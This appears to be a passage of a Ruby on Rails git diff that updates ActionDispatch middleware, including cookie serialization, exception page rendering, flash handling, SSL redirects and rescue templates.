+  #   # It can be read using the signed method `cookies.signed[:name]`
   #   cookies.signed[:user_id] = current_user.id
   #
   #   # Sets a "permanent" cookie (which expires in 20 years from now).
@@ -42,10 +42,10 @@ module ActionDispatch
   #
   # Examples of reading:
   #
-  #   cookies[:user_name]    # => "david"
-  #   cookies.size           # => 2
-  #   cookies[:lat_lon]      # => [47.68, -122.37]
-  #   cookies.signed[:login] # => "XJ-122"
+  #   cookies[:user_name]           # => "david"
+  #   cookies.size                  # => 2
+  #   JSON.parse(cookies[:lat_lon]) # => [47.68, -122.37]
+  #   cookies.signed[:login]        # => "XJ-122"
   #
   # Example for deleting:
   #
@@ -63,7 +63,7 @@ module ActionDispatch
   #
   # The option symbols for setting cookies are:
   #
-  # * <tt>:value</tt> - The cookie's value or list of values (as an array).
+  # * <tt>:value</tt> - The cookie's value.
   # * <tt>:path</tt> - The path for which this cookie applies. Defaults to the root
   #   of the application.
   # * <tt>:domain</tt> - The domain for which this cookie applies so you can
@@ -89,6 +89,7 @@ module ActionDispatch
     ENCRYPTED_SIGNED_COOKIE_SALT = "action_dispatch.encrypted_signed_cookie_salt".freeze
     SECRET_TOKEN = "action_dispatch.secret_token".freeze
     SECRET_KEY_BASE = "action_dispatch.secret_key_base".freeze
+    COOKIES_SERIALIZER = "action_dispatch.cookies_serializer".freeze
 
     # Cookies can typically store 4096 bytes.
     MAX_COOKIE_SIZE = 4096
@@ -117,10 +118,10 @@ module ActionDispatch
       # the cookie again. This is useful for creating cookies with values that the user is not supposed to change. If a signed
       # cookie was tampered with by the user (or a 3rd party), nil will be returned.
       #
-      # If +config.secret_key_base+ and +config.secret_token+ (deprecated) are both set,
+      # If +secrets.secret_key_base+ and +config.secret_token+ (deprecated) are both set,
       # legacy cookies signed with the old key generator will be transparently upgraded.
       #
-      # This jar requires that you set a suitable secret for the verification on your app's +config.secret_key_base+.
+      # This jar requires that you set a suitable secret for the verification on your app's +secrets.secret_key_base+.
       #
       # Example:
       #
@@ -140,10 +141,10 @@ module ActionDispatch
       # Returns a jar that'll automatically encrypt cookie values before sending them to the client and will decrypt them for read.
       # If the cookie was tampered with by the user (or a 3rd party), nil will be returned.
       #
-      # If +config.secret_key_base+ and +config.secret_token+ (deprecated) are both set,
+      # If +secrets.secret_key_base+ and +config.secret_token+ (deprecated) are both set,
       # legacy cookies signed with the old key generator will be transparently upgraded.
       #
-      # This jar requires that you set a suitable secret for the verification on your app's +config.secret_key_base+.
+      # This jar requires that you set a suitable secret for the verification on your app's +secrets.secret_key_base+.
       #
       # Example:
       #
@@ -175,12 +176,12 @@ module ActionDispatch
     module VerifyAndUpgradeLegacySignedMessage
       def initialize(*args)
         super
-        @legacy_verifier = ActiveSupport::MessageVerifier.new(@options[:secret_token])
+        @legacy_verifier = ActiveSupport::MessageVerifier.new(@options[:secret_token], serializer: NullSerializer)
       end
 
       def verify_and_upgrade_legacy_signed_message(name, signed_message)
-        @legacy_verifier.verify(signed_message).tap do |value|
-          self[name] = value
+        deserialize(name, @legacy_verifier.verify(signed_message)).tap do |value|
+          self[name] = { value: value }
         end
       rescue ActiveSupport::MessageVerifier::InvalidSignature
         nil
@@ -210,7 +211,8 @@ module ActionDispatch
           encrypted_signed_cookie_salt: env[ENCRYPTED_SIGNED_COOKIE_SALT] || '',
           secret_token: env[SECRET_TOKEN],
           secret_key_base: env[SECRET_KEY_BASE],
-          upgrade_legacy_signed_cookies: env[SECRET_TOKEN].present? && env[SECRET_KEY_BASE].present?
+          upgrade_legacy_signed_cookies: env[SECRET_TOKEN].present? && env[SECRET_KEY_BASE].present?,
+          serializer: env[COOKIES_SERIALIZER]
         }
       end
 
@@ -235,6 +237,15 @@ module ActionDispatch
         @secure = secure
         @options = options
         @cookies = {}
+        @committed = false
+      end
+
+      def committed?; @committed; end
+
+      def commit!
+        @committed = true
+        @set_cookies.freeze
+        @delete_cookies.freeze
       end
 
       def each(&block)
@@ -334,8 +345,8 @@ module ActionDispatch
       end
 
       def recycle! #:nodoc:
-        @set_cookies.clear
-        @delete_cookies.clear
+        @set_cookies = {}
+        @delete_cookies = {}
       end
 
       mattr_accessor :always_write_cookie
@@ -372,28 +383,89 @@ module ActionDispatch
       end
     end
 
+    class JsonSerializer
+      def self.load(value)
+        JSON.parse(value, quirks_mode: true)
+      end
+
+      def self.dump(value)
+        JSON.generate(value, quirks_mode: true)
+      end
+    end
+
+    # Passing the NullSerializer downstream to the Message{Encryptor,Verifier}
+    # allows us to handle the (de)serialization step within the cookie jar,
+    # which gives us the opportunity to detect and migrate legacy cookies.
+    class NullSerializer
+      def self.load(value)
+        value
+      end
+
+      def self.dump(value)
+        value
+      end
+    end
+
+    module SerializedCookieJars
+      MARSHAL_SIGNATURE = "\x04\x08".freeze
+
+      protected
+        def needs_migration?(value)
+          @options[:serializer] == :hybrid && value.start_with?(MARSHAL_SIGNATURE)
+        end
+
+        def serialize(name, value)
+          serializer.dump(value)
+        end
+
+        def deserialize(name, value)
+          if value
+            if needs_migration?(value)
+              Marshal.load(value).tap do |v|
+                self[name] = { value: v }
+              end
+            else
+              serializer.load(value)
+            end
+          end
+        end
+
+        def serializer
+          serializer = @options[:serializer] || :marshal
+          case serializer
+          when :marshal
+            Marshal
+          when :json, :hybrid
+            JsonSerializer
+          else
+            serializer
+          end
+        end
+    end
+
     class SignedCookieJar #:nodoc:
       include ChainedCookieJars
+      include SerializedCookieJars
 
       def initialize(parent_jar, key_generator, options = {})
         @parent_jar = parent_jar
         @options = options
         secret = key_generator.generate_key(@options[:signed_cookie_salt])
-        @verifier   = ActiveSupport::MessageVerifier.new(secret)
+        @verifier = ActiveSupport::MessageVerifier.new(secret, serializer: NullSerializer)
       end
 
       def [](name)
         if signed_message = @parent_jar[name]
-          verify(signed_message)
+          deserialize name, verify(signed_message)
         end
       end
 
       def []=(name, options)
         if options.is_a?(Hash)
           options.symbolize_keys!
-          options[:value] = @verifier.generate(options[:value])
+          options[:value] = @verifier.generate(serialize(name, options[:value]))
         else
-          options = { :value => @verifier.generate(options) }
+          options = { :value => @verifier.generate(serialize(name, options)) }
         end
 
         raise CookieOverflow if options[:value].size > MAX_COOKIE_SIZE
@@ -409,7 +481,7 @@ module ActionDispatch
     end
 
     # UpgradeLegacySignedCookieJar is used instead of SignedCookieJar if
-    # config.secret_token and config.secret_key_base are both set. It reads
+    # config.secret_token and secrets.secret_key_base are both set. It reads
     # legacy cookies signed with the old dummy key generator and re-saves
     # them using the new key generator to provide a smooth upgrade path.
     class UpgradeLegacySignedCookieJar < SignedCookieJar #:nodoc:
@@ -417,17 +489,18 @@ module ActionDispatch
 
       def [](name)
         if signed_message = @parent_jar[name]
-          verify(signed_message) || verify_and_upgrade_legacy_signed_message(name, signed_message)
+          deserialize(name, verify(signed_message)) || verify_and_upgrade_legacy_signed_message(name, signed_message)
         end
       end
     end
 
     class EncryptedCookieJar #:nodoc:
       include ChainedCookieJars
+      include SerializedCookieJars
 
       def initialize(parent_jar, key_generator, options = {})
         if ActiveSupport::LegacyKeyGenerator === key_generator
-          raise "You didn't set config.secret_key_base, which is required for this cookie jar. " +
+          raise "You didn't set secrets.secret_key_base, which is required for this cookie jar. " +
             "Read the upgrade documentation to learn more about this new config option."
         end
 
@@ -435,12 +508,12 @@ module ActionDispatch
         @options = options
         secret = key_generator.generate_key(@options[:encrypted_cookie_salt])
         sign_secret = key_generator.generate_key(@options[:encrypted_signed_cookie_salt])
-        @encryptor = ActiveSupport::MessageEncryptor.new(secret, sign_secret)
+        @encryptor = ActiveSupport::MessageEncryptor.new(secret, sign_secret, serializer: NullSerializer)
       end
 
       def [](name)
         if encrypted_message = @parent_jar[name]
-          decrypt_and_verify(encrypted_message)
+          deserialize name, decrypt_and_verify(encrypted_message)
         end
       end
 
@@ -450,7 +523,8 @@ module ActionDispatch
         else
           options = { :value => options }
         end
-        options[:value] = @encryptor.encrypt_and_sign(options[:value])
+
+        options[:value] = @encryptor.encrypt_and_sign(serialize(name, options[:value]))
 
         raise CookieOverflow if options[:value].size > MAX_COOKIE_SIZE
         @parent_jar[name] = options
@@ -465,7 +539,7 @@ module ActionDispatch
     end
 
     # UpgradeLegacyEncryptedCookieJar is used by ActionDispatch::Session::CookieStore
-    # instead of EncryptedCookieJar if config.secret_token and config.secret_key_base
+    # instead of EncryptedCookieJar if config.secret_token and secrets.secret_key_base
     # are both set. It reads legacy cookies signed with the old dummy key generator and
     # encrypts and re-saves them using the new key generator to provide a smooth upgrade path.
     class UpgradeLegacyEncryptedCookieJar < EncryptedCookieJar #:nodoc:
@@ -473,7 +547,7 @@ module ActionDispatch
 
       def [](name)
         if encrypted_or_signed_message = @parent_jar[name]
-          decrypt_and_verify(encrypted_or_signed_message) || verify_and_upgrade_legacy_signed_message(name, encrypted_or_signed_message)
+          deserialize(name, decrypt_and_verify(encrypted_or_signed_message)) || verify_and_upgrade_legacy_signed_message(name, encrypted_or_signed_message)
         end
       end
     end
@@ -486,9 +560,11 @@ module ActionDispatch
       status, headers, body = @app.call(env)
 
       if cookie_jar = env['action_dispatch.cookies']
-        cookie_jar.write(headers)
-        if headers[HTTP_HEADER].respond_to?(:join)
-          headers[HTTP_HEADER] = headers[HTTP_HEADER].join("\n")
+        unless cookie_jar.committed?
+          cookie_jar.write(headers)
+          if headers[HTTP_HEADER].respond_to?(:join)
+            headers[HTTP_HEADER] = headers[HTTP_HEADER].join("\n")
+          end
         end
       end
 
diff --git a/actionpack/lib/action_dispatch/middleware/debug_exceptions.rb b/actionpack/lib/action_dispatch/middleware/debug_exceptions.rb
index 64230ff..0ca1a87 100644
--- a/actionpack/lib/action_dispatch/middleware/debug_exceptions.rb
+++ b/actionpack/lib/action_dispatch/middleware/debug_exceptions.rb
@@ -34,27 +34,35 @@ module ActionDispatch
       log_error(env, wrapper)
 
       if env['action_dispatch.show_detailed_exceptions']
+        request = Request.new(env)
         template = ActionView::Base.new([RESCUES_TEMPLATE_PATH],
-          :request => Request.new(env),
-          :exception => wrapper.exception,
-          :application_trace => wrapper.application_trace,
-          :framework_trace => wrapper.framework_trace,
-          :full_trace => wrapper.full_trace,
-          :routes_inspector => routes_inspector(exception),
-          :source_extract => wrapper.source_extract,
-          :line_number => wrapper.line_number,
-          :file => wrapper.file
+          request: request,
+          exception: wrapper.exception,
+          application_trace: wrapper.application_trace,
+          framework_trace: wrapper.framework_trace,
+          full_trace: wrapper.full_trace,
+          routes_inspector: routes_inspector(exception),
+          source_extract: wrapper.source_extract,
+          line_number: wrapper.line_number,
+          file: wrapper.file
         )
         file = "rescues/#{wrapper.rescue_template}"
-        body = template.render(:template => file, :layout => 'rescues/layout')
-        render(wrapper.status_code, body)
+
+        if request.xhr?
+          body = template.render(template: file, layout: false, formats: [:text])
+          format = "text/plain"
+        else
+          body = template.render(template: file, layout: 'rescues/layout')
+          format = "text/html"
+        end
+        render(wrapper.status_code, body, format)
       else
         raise exception
       end
     end
 
-    def render(status, body)
-      [status, {'Content-Type' => "text/html; charset=#{Response.default_charset}", 'Content-Length' => body.bytesize.to_s}, [body]]
+    def render(status, body, format)
+      [status, {'Content-Type' => "#{format}; charset=#{Response.default_charset}", 'Content-Length' => body.bytesize.to_s}, [body]]
     end
 
     def log_error(env, wrapper)
diff --git a/actionpack/lib/action_dispatch/middleware/exception_wrapper.rb b/actionpack/lib/action_dispatch/middleware/exception_wrapper.rb
index 1de3d14..1ef842f 100644
--- a/actionpack/lib/action_dispatch/middleware/exception_wrapper.rb
+++ b/actionpack/lib/action_dispatch/middleware/exception_wrapper.rb
@@ -1,5 +1,5 @@
 require 'action_controller/metal/exceptions'
-require 'active_support/core_ext/class/attribute_accessors'
+require 'active_support/core_ext/module/attribute_accessors'
 
 module ActionDispatch
   class ExceptionWrapper
@@ -32,6 +32,8 @@ module ActionDispatch
     def initialize(env, exception)
       @env = env
       @exception = original_exception(exception)
+
+      expand_backtrace if exception.is_a?(SyntaxError) || exception.try(:original_exception).try(:is_a?, SyntaxError)
     end
 
     def rescue_template
@@ -96,7 +98,7 @@ module ActionDispatch
     def source_fragment(path, line)
       return unless Rails.respond_to?(:root) && Rails.root
       full_path = Rails.root.join(path)
-      if File.exists?(full_path)
+      if File.exist?(full_path)
         File.open(full_path, "r") do |file|
           start = [line - 3, 0].max
           lines = file.each_line.drop(start).take(6)
@@ -104,5 +106,11 @@ module ActionDispatch
         end
       end
     end
+
+    def expand_backtrace
+      @exception.backtrace.unshift(
+        @exception.to_s.split("\n")
+      ).flatten!
+    end
   end
 end
diff --git a/actionpack/lib/action_dispatch/middleware/flash.rb b/actionpack/lib/action_dispatch/middleware/flash.rb
index 7e56feb..4821d2a 100644
--- a/actionpack/lib/action_dispatch/middleware/flash.rb
+++ b/actionpack/lib/action_dispatch/middleware/flash.rb
@@ -1,3 +1,5 @@
+require 'active_support/core_ext/hash/keys'
+
 module ActionDispatch
   class Request < Rack::Request
     # Access the contents of the flash. Use <tt>flash["notice"]</tt> to
@@ -50,13 +52,14 @@ module ActionDispatch
       end
 
       def []=(k, v)
+        k = k.to_s
         @flash[k] = v
         @flash.discard(k)
         v
       end
 
       def [](k)
-        @flash[k]
+        @flash[k.to_s]
       end
 
       # Convenience accessor for <tt>flash.now[:alert]=</tt>.
@@ -92,8 +95,8 @@ module ActionDispatch
       end
 
       def initialize(flashes = {}, discard = []) #:nodoc:
-        @discard = Set.new(discard)
-        @flashes = flashes
+        @discard = Set.new(stringify_array(discard))
+        @flashes = flashes.stringify_keys
         @now     = nil
       end
 
@@ -106,17 +109,18 @@ module ActionDispatch
       end
 
       def []=(k, v)
+        k = k.to_s
         @discard.delete k
         @flashes[k] = v
       end
 
       def [](k)
-        @flashes[k]
+        @flashes[k.to_s]
       end
 
       def update(h) #:nodoc:
-        @discard.subtract h.keys
-        @flashes.update h
+        @discard.subtract stringify_array(h.keys)
+        @flashes.update h.stringify_keys
         self
       end
 
@@ -129,6 +133,7 @@ module ActionDispatch
       end
 
       def delete(key)
+        key = key.to_s
         @discard.delete key
         @flashes.delete key
         self
@@ -155,7 +160,7 @@ module ActionDispatch
 
       def replace(h) #:nodoc:
         @discard.clear
-        @flashes.replace h
+        @flashes.replace h.stringify_keys
         self
       end
 
@@ -186,6 +191,7 @@ module ActionDispatch
       #    flash.keep            # keeps the entire flash
       #    flash.keep(:notice)   # keeps only the "notice" entry, the rest of the flash is discarded
       def keep(k = nil)
+        k = k.to_s if k
         @discard.subtract Array(k || keys)
         k ? self[k] : self
       end
@@ -195,6 +201,7 @@ module ActionDispatch
       #     flash.discard              # discard the entire flash at the end of the current action
       #     flash.discard(:warning)    # discard only the "warning" entry at the end of the current action
       def discard(k = nil)
+        k = k.to_s if k
         @discard.merge Array(k || keys)
         k ? self[k] : self
       end
@@ -231,6 +238,12 @@ module ActionDispatch
       def now_is_loaded?
         @now
       end
+
+      def stringify_array(array)
+        array.map do |item|
+          item.kind_of?(Symbol) ? item.to_s : item
+        end
+      end
     end
 
     def initialize(app)
@@ -243,19 +256,13 @@ module ActionDispatch
       session    = Request::Session.find(env) || {}
       flash_hash = env[KEY]
 
-      if flash_hash
-        if !flash_hash.empty? || session.key?('flash')
-          session["flash"] = flash_hash.to_session_value
-          new_hash = flash_hash.dup
-        else
-          new_hash = flash_hash
-        end
-
-        env[KEY] = new_hash
+      if flash_hash && (flash_hash.present? || session.key?('flash'))
+        session["flash"] = flash_hash.to_session_value
+        env[KEY] = flash_hash.dup
       end
 
       if (!session.respond_to?(:loaded?) || session.loaded?) && # (reset_session uses {}, which doesn't implement #loaded?)
-         session.key?('flash') && session['flash'].nil?
+        session.key?('flash') && session['flash'].nil?
         session.delete('flash')
       end
     end
diff --git a/actionpack/lib/action_dispatch/middleware/params_parser.rb b/actionpack/lib/action_dispatch/middleware/params_parser.rb
index 4d5b79f..b426183 100644
--- a/actionpack/lib/action_dispatch/middleware/params_parser.rb
+++ b/actionpack/lib/action_dispatch/middleware/params_parser.rb
@@ -43,7 +43,7 @@ module ActionDispatch
         when :json
           data = ActiveSupport::JSON.decode(request.raw_post)
           data = {:_json => data} unless data.is_a?(Hash)
-          request.deep_munge(data).with_indifferent_access
+          Request::Utils.deep_munge(data).with_indifferent_access
         else
           false
         end
diff --git a/actionpack/lib/action_dispatch/middleware/reloader.rb b/actionpack/lib/action_dispatch/middleware/reloader.rb
index 2f6968e..15b5a48 100644
--- a/actionpack/lib/action_dispatch/middleware/reloader.rb
+++ b/actionpack/lib/action_dispatch/middleware/reloader.rb
@@ -1,3 +1,5 @@
+require 'active_support/deprecation/reporting'
+
 module ActionDispatch
   # ActionDispatch::Reloader provides prepare and cleanup callbacks,
   # intended to assist with code reloading during development.
@@ -25,19 +27,26 @@ module ActionDispatch
   #
   class Reloader
     include ActiveSupport::Callbacks
+    include ActiveSupport::Deprecation::Reporting
 
-    define_callbacks :prepare, :scope => :name
-    define_callbacks :cleanup, :scope => :name
+    define_callbacks :prepare
+    define_callbacks :cleanup
 
     # Add a prepare callback. Prepare callbacks are run before each request, prior
     # to ActionDispatch::Callback's before callbacks.
     def self.to_prepare(*args, &block)
+      unless block_given?
+        warn "to_prepare without a block is deprecated. Please use a block"
+      end
       set_callback(:prepare, *args, &block)
     end
 
     # Add a cleanup callback. Cleanup callbacks are run after each request is
     # complete (after #close is called on the response body).
     def self.to_cleanup(*args, &block)
+      unless block_given?
+        warn "to_cleanup without a block is deprecated. Please use a block"
+      end
       set_callback(:cleanup, *args, &block)
     end
 
diff --git a/actionpack/lib/action_dispatch/middleware/remote_ip.rb b/actionpack/lib/action_dispatch/middleware/remote_ip.rb
index 57bc6d5..c1df518 100644
--- a/actionpack/lib/action_dispatch/middleware/remote_ip.rb
+++ b/actionpack/lib/action_dispatch/middleware/remote_ip.rb
@@ -47,12 +47,12 @@ module ActionDispatch
     # clients (like WAP devices), or behind proxies that set headers in an
     # incorrect or confusing way (like AWS ELB).
     #
-    # The +custom_trusted+ argument can take a regex, which will be used
+    # The +custom_proxies+ argument can take a regex, which will be used
     # instead of +TRUSTED_PROXIES+, or a string, which will be used in addition
     # to +TRUSTED_PROXIES+. Any proxy setup will put the value you want in the
     # middle (or at the beginning) of the X-Forwarded-For list, with your proxy
     # servers after it. If your proxies aren't removed, pass them in via the
-    # +custom_trusted+ parameter. That way, the middleware will ignore those
+    # +custom_proxies+ parameter. That way, the middleware will ignore those
     # IP addresses, and return the one that you want.
     def initialize(app, check_ip_spoofing = true, custom_proxies = nil)
       @app = app
diff --git a/actionpack/lib/action_dispatch/middleware/session/cookie_store.rb b/actionpack/lib/action_dispatch/middleware/session/cookie_store.rb
index b9eb803..3be0ce1 100644
--- a/actionpack/lib/action_dispatch/middleware/session/cookie_store.rb
+++ b/actionpack/lib/action_dispatch/middleware/session/cookie_store.rb
@@ -15,8 +15,8 @@ module ActionDispatch
     # best possible option given your application's configuration.
     #
     # If you only have secret_token set, your cookies will be signed, but
-    # not encrypted. This means a user cannot alter his +user_id+ without
-    # knowing your app's secret key, but can easily read his +user_id+. This
+    # not encrypted. This means a user cannot alter their +user_id+ without
+    # knowing your app's secret key, but can easily read their +user_id+. This
     # was the default for Rails 3 apps.
     #
     # If you have secret_key_base set, your cookies will be encrypted. This
@@ -31,9 +31,10 @@ module ActionDispatch
     #
     #   Myapp::Application.config.session_store :cookie_store, key: '_your_app_session'
     #
-    # Configure your secret key in config/initializers/secret_token.rb:
+    # Configure your secret key in config/secrets.yml:
     #
-    #   Myapp::Application.config.secret_key_base 'secret key'
+    #   development:
+    #     secret_key_base: 'secret key'
     #
     # To generate a secret key for an existing application, run `rake secret`.
     #
@@ -50,7 +51,7 @@ module ActionDispatch
     # decode signed cookies generated by your app in external applications or
     # Javascript before upgrading.
     #
-    # Note that changing digest or secret invalidates all existing sessions!
+    # Note that changing the secret key will invalidate all existing sessions!
     class CookieStore < Rack::Session::Abstract::ID
       include Compatibility
       include StaleSessionCheck
diff --git a/actionpack/lib/action_dispatch/middleware/show_exceptions.rb b/actionpack/lib/action_dispatch/middleware/show_exceptions.rb
index fcc5bc1..1d4f0f8 100644
--- a/actionpack/lib/action_dispatch/middleware/show_exceptions.rb
+++ b/actionpack/lib/action_dispatch/middleware/show_exceptions.rb
@@ -29,8 +29,11 @@ module ActionDispatch
     def call(env)
       @app.call(env)
     rescue Exception => exception
-      raise exception if env['action_dispatch.show_exceptions'] == false
-      render_exception(env, exception)
+      if env['action_dispatch.show_exceptions'] == false
+        raise exception
+      else
+        render_exception(env, exception)
+      end
     end
 
     private
diff --git a/actionpack/lib/action_dispatch/middleware/ssl.rb b/actionpack/lib/action_dispatch/middleware/ssl.rb
index 8d5ab19..0c7caef 100644
--- a/actionpack/lib/action_dispatch/middleware/ssl.rb
+++ b/actionpack/lib/action_dispatch/middleware/ssl.rb
@@ -32,11 +32,14 @@ module ActionDispatch
 
     private
       def redirect_to_https(request)
-        url        = URI(request.url)
-        url.scheme = "https"
-        url.host   = @host if @host
-        url.port   = @port if @port
-        headers    = { 'Content-Type' => 'text/html', 'Location' => url.to_s }
+        host = @host || request.host
+        port = @port || request.port
+
+        location = "https://#{host}"
+        location << ":#{port}" if port != 80
+        location << request.fullpath
+
+        headers = { 'Content-Type' => 'text/html', 'Location' => location }
 
         [301, headers, []]
       end
@@ -57,7 +60,7 @@ module ActionDispatch
           cookies = cookies.split("\n")
 
           headers['Set-Cookie'] = cookies.map { |cookie|
-            if cookie !~ /;\s+secure(;|$)/i
+            if cookie !~ /;\s*secure\s*(;|$)/i
               "#{cookie}; secure"
             else
               cookie
diff --git a/actionpack/lib/action_dispatch/middleware/static.rb b/actionpack/lib/action_dispatch/middleware/static.rb
index c6a7d9c..2764584 100644
--- a/actionpack/lib/action_dispatch/middleware/static.rb
+++ b/actionpack/lib/action_dispatch/middleware/static.rb
@@ -11,9 +11,10 @@ module ActionDispatch
     end
 
     def match?(path)
-      path = path.dup
+      path = unescape_path(path)
+      return false unless path.valid_encoding?
 
-      full_path = path.empty? ? @root : File.join(@root, escape_glob_chars(unescape_path(path)))
+      full_path = path.empty? ? @root : File.join(@root, escape_glob_chars(path))
       paths = "#{full_path}#{ext}"
 
       matches = Dir[paths]
@@ -40,7 +41,6 @@ module ActionDispatch
     end
 
     def escape_glob_chars(path)
-      path.force_encoding('binary') if path.respond_to? :force_encoding
       path.gsub(/[*?{}\[\]]/, "\\\\\\&")
     end
   end
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/_request_and_response.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/_request_and_response.html.erb
similarity index 100%
rename from actionpack/lib/action_dispatch/middleware/templates/rescues/_request_and_response.erb
rename to actionpack/lib/action_dispatch/middleware/templates/rescues/_request_and_response.html.erb
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/_request_and_response.text.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/_request_and_response.text.erb
new file mode 100644
index 0000000..396768e
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/_request_and_response.text.erb
@@ -0,0 +1,23 @@
+<%
+  clean_params = @request.filtered_parameters.clone
+  clean_params.delete("action")
+  clean_params.delete("controller")
+
+  request_dump = clean_params.empty? ? 'None' : clean_params.inspect.gsub(',', ",\n")
+
+  def debug_hash(object)
+    object.to_hash.sort_by { |k, _| k.to_s }.map { |k, v| "#{k}: #{v.inspect rescue $!.message}" }.join("\n")
+  end unless self.class.method_defined?(:debug_hash)
+%>
+
+Request parameters
+<%= request_dump %>
+
+Session dump
+<%= debug_hash @request.session %>
+
+Env dump
+<%= debug_hash @request.env.slice(*@request.class::ENV_METHODS) %>
+
+Response headers
+<%= defined?(@response) ? @response.headers.inspect.gsub(',', ",\n") : 'None' %>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/_trace.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/_trace.html.erb
similarity index 100%
rename from actionpack/lib/action_dispatch/middleware/templates/rescues/_trace.erb
rename to actionpack/lib/action_dispatch/middleware/templates/rescues/_trace.html.erb
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/_trace.text.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/_trace.text.erb
new file mode 100644
index 0000000..d4af5c9
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/_trace.text.erb
@@ -0,0 +1,15 @@
+<%
+  traces = { "Application Trace" => @application_trace,
+             "Framework Trace"   => @framework_trace,
+             "Full Trace"        => @full_trace }
+%>
+
+Rails.root: <%= defined?(Rails) && Rails.respond_to?(:root) ? Rails.root : "unset" %>
+
+<% traces.each do |name, trace| %>
+<% if trace.any? %>
+<%= name %>
+<%= trace.join("\n") %>
+
+<% end %>
+<% end %>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/diagnostics.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/diagnostics.erb
index 57a2940..f154021 100644
--- a/actionpack/lib/action_dispatch/middleware/templates/rescues/diagnostics.erb
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/diagnostics.erb
@@ -8,7 +8,7 @@
 </header>
 
 <div id="container">
-  <h2><%= @exception.message %></h2>
+  <h2><%= h @exception.message %></h2>
 
   <%= render template: "rescues/_source" %>
   <%= render template: "rescues/_trace" %>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/missing_template.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/missing_template.erb
deleted file mode 100644
index ca14215..0000000
--- a/actionpack/lib/action_dispatch/middleware/templates/rescues/missing_template.erb
+++ /dev/null
@@ -1,7 +0,0 @@
-<header>
-  <h1>Template is missing</h1>
-</header>
-
-<div id="container">
-  <h2><%= @exception.message %></h2>
-</div>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/missing_template.html.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/missing_template.html.erb
new file mode 100644
index 0000000..5c016e5
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/missing_template.html.erb
@@ -0,0 +1,7 @@
+<header>
+  <h1>Template is missing</h1>
+</header>
+
+<div id="container">
+  <h2><%= h @exception.message %></h2>
+</div>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/missing_template.text.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/missing_template.text.erb
new file mode 100644
index 0000000..ae62d9e
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/missing_template.text.erb
@@ -0,0 +1,3 @@
+Template is missing
+
+<%= @exception.message %>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/routing_error.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/routing_error.erb
deleted file mode 100644
index cd3daff..0000000
--- a/actionpack/lib/action_dispatch/middleware/templates/rescues/routing_error.erb
+++ /dev/null
@@ -1,30 +0,0 @@
-<header>
-  <h1>Routing Error</h1>
-</header>
-<div id="container">
-  <h2><%= @exception.message %></h2>
-  <% unless @exception.failures.empty? %>
-    <p>
-      <h2>Failure reasons:</h2>
-      <ol>
-      <% @exception.failures.each do |route, reason| %>
-        <li><code><%= route.inspect.delete('\\') %></code> failed because <%= reason.downcase %></li>
-      <% end %>
-      </ol>
-    </p>
-  <% end %>
-
-  <%= render template: "rescues/_trace" %>
-
-  <% if @routes_inspector %>
-    <h2>
-      Routes
-    </h2>
-
-    <p>
-      Routes match in priority from top to bottom
-    </p>
-
-    <%= @routes_inspector.format(ActionDispatch::Routing::HtmlTableFormatter.new(self)) %>
-  <% end %>
-</div>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/routing_error.html.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/routing_error.html.erb
new file mode 100644
index 0000000..7e9cedb
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/routing_error.html.erb
@@ -0,0 +1,30 @@
+<header>
+  <h1>Routing Error</h1>
+</header>
+<div id="container">
+  <h2><%= h @exception.message %></h2>
+  <% unless @exception.failures.empty? %>
+    <p>
+      <h2>Failure reasons:</h2>
+      <ol>
+      <% @exception.failures.each do |route, reason| %>
+        <li><code><%= route.inspect.delete('\\') %></code> failed because <%= reason.downcase %></li>
+      <% end %>
+      </ol>
+    </p>
+  <% end %>
+
+  <%= render template: "rescues/_trace" %>
+
+  <% if @routes_inspector %>
+    <h2>
+      Routes
+    </h2>
+
+    <p>
+      Routes match in priority from top to bottom
+    </p>
+
+    <%= @routes_inspector.format(ActionDispatch::Routing::HtmlTableFormatter.new(self)) %>
+  <% end %>
+</div>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/routing_error.text.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/routing_error.text.erb
new file mode 100644
index 0000000..f6e4dac
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/routing_error.text.erb
@@ -0,0 +1,11 @@
+Routing Error
+
+<%= @exception.message %>
+<% unless @exception.failures.empty? %>
+Failure reasons:
+<% @exception.failures.each do |route, reason| %>
+  - <%= route.inspect.delete('\\') %></code> failed because <%= reason.downcase %>
+<% end %>
+<% end %>
+
+<%= render template: "rescues/_trace", format: :text %>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/template_error.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/template_error.erb
deleted file mode 100644
index 31f46ee..0000000
--- a/actionpack/lib/action_dispatch/middleware/templates/rescues/template_error.erb
+++ /dev/null
@@ -1,43 +0,0 @@
-<% @source_extract = @exception.source_extract(0, :html) %>
-<header>
-  <h1>
-    <%= @exception.original_exception.class.to_s %> in
-    <%= @request.parameters["controller"].camelize if @request.parameters["controller"] %>#<%= @request.parameters["action"] %>
-  </h1>
-</header>
-
-<div id="container">
-  <p>
